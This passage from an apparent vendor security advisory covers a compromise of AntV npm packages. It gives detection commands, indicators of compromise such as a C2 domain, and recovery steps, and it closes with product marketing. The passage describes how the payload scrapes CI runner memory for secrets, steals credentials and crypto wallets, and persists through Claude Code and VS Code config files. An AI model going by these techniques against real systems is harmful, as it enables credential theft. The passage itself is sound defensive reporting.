# Search node_modules for the injected payload
find node_modules -name "index.js" -size +400k -type f 2>/dev/null

# Search for the malicious optional dependency
grep -r "@antv/setup" node_modules/*/package.json 2>/dev/null

3. Check CI/CD Logs

Search your GitHub Actions logs for evidence of the payload executing:

  • Any reference to @antv/setup during dependency installation
  • Unexpected outbound network connections to t.m-kosche.com during build/test steps
  • bun run index.js in process logs
  • Unexpected python3 processes reading /proc/*/mem

For the Community: Recovery Steps

Code Repositories / Developer Machines

  1. Pin to safe versions: Downgrade to the last clean version for each affected package (see table above).
  2. Delete node_modules and reinstall: rm -rf node_modules && npm install
  3. Check for and remove persistence artifacts:# Remove Claude Code persistence
    rm -f .claude/setup.mjs
    # Compare settings.json against version control
    git diff .claude/settings.json
    # If modified, restore from clean state or delete and reconfigure

    # Remove VS Code persistence
    git diff .vscode/tasks.json
    rm -f .vscode/setup.mjs

    # Check for injected GitHub Actions workflows
    git diff .github/workflows/codeql.yml
  4. Rotate credentials: If you ran npm install with a compromised version, rotate any npm tokens, GitHub PATs, cloud API keys, SSH keys, and other secrets accessible on that machine.
  5. Check for cryptocurrency wallet exposure: If you have crypto wallet files on the machine (~/.bitcoin/wallet.dat, ~/.ethereum/keystore/*, etc.), transfer funds to a new wallet immediately.

For CI/CD Environments

  1. Rotate all CI secrets immediately: GitHub tokens, npm tokens, cloud provider credentials, and any other secrets available in the workflow environment. The Runner.Worker memory scraper captures every secret, including masked ones.
  2. Audit GitHub repositories for unauthorized commits, branch creation, or workflow modifications in the past 24 hours.
  3. Review network logs for api.github.com requests with User-Agent python-requests/2.31.0 from runner hosts, and any connections to t.m-kosche.com.
  4. Check for downstream propagation: If any of your packages were published during a CI run that installed a compromised version, those published versions may also be compromised.
  5. Review npm access tokens: Run npm token list and revoke any tokens you do not recognize.

For StepSecurity Enterprise Customers

Threat Center Alert

StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis, IOCs, affected versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Harden-Runner

Harden-Runner is a purpose-built security agent for CI/CD runners.

It enforces a network egress allowlist in GitHub Actions, restricting outbound network traffic to only allowed endpoints. Both DNS and network-level enforcement prevent covert data exfiltration.

The C2 domain t[.]m-kosche[.]com used by this campaign has been added to the StepSecurity Global block list. For all Harden-Runner users by default, the workflow run is now terminated as soon as a connection to the C2 domain is detected, preventing the payload from exfiltrating secrets from the GitHub Actions workflow run.

Secure Registry

StepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from registry.npmjs.org, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.

The primary defense here is the cooldown period. Newly published package versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised AntV packages were published to npm, Secure Registry customers were never exposed. Their registries continued serving the last known safe versions while the cooldown clock ran, giving the community and StepSecurity's AI Package Analyst time to flag and permanently block the malicious releases.

Detect Compromised Developer Machines

Supply chain attacks like this one do not stop at the CI/CD pipeline. The malicious payload harvests credentials, SSH keys, cloud tokens, cryptocurrency wallets, and AI tool configurations from the local environment. Every developer who ran npm install with a compromised version outside of CI is a potential point of compromise.

StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.

npm Package Cooldown Check

Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, the compromised AntV versions were published in rapid succession on May 19, so any PR updating to an affected version during the cooldown period would have been blocked automatically.

npm Package Compromised Updates Check

StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All compromised versions from this campaign were added to this database within minutes of detection.

npm Package Search

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.

AI Package Analyst

AI Package Analyst continuously monitors the npm registry for suspicious releases in real time, scoring packages for supply chain risk before you install them. In this case, the compromised AntV versions were flagged within minutes of publication, giving teams time to investigate, confirm malicious intent, and act before the packages accumulated significant installs. The payload size anomaly, injected index.js at the package root, and the optionalDependencies reference to a GitHub commit were all surfaced as high-confidence supply chain indicators.

Blog

Explore Related Posts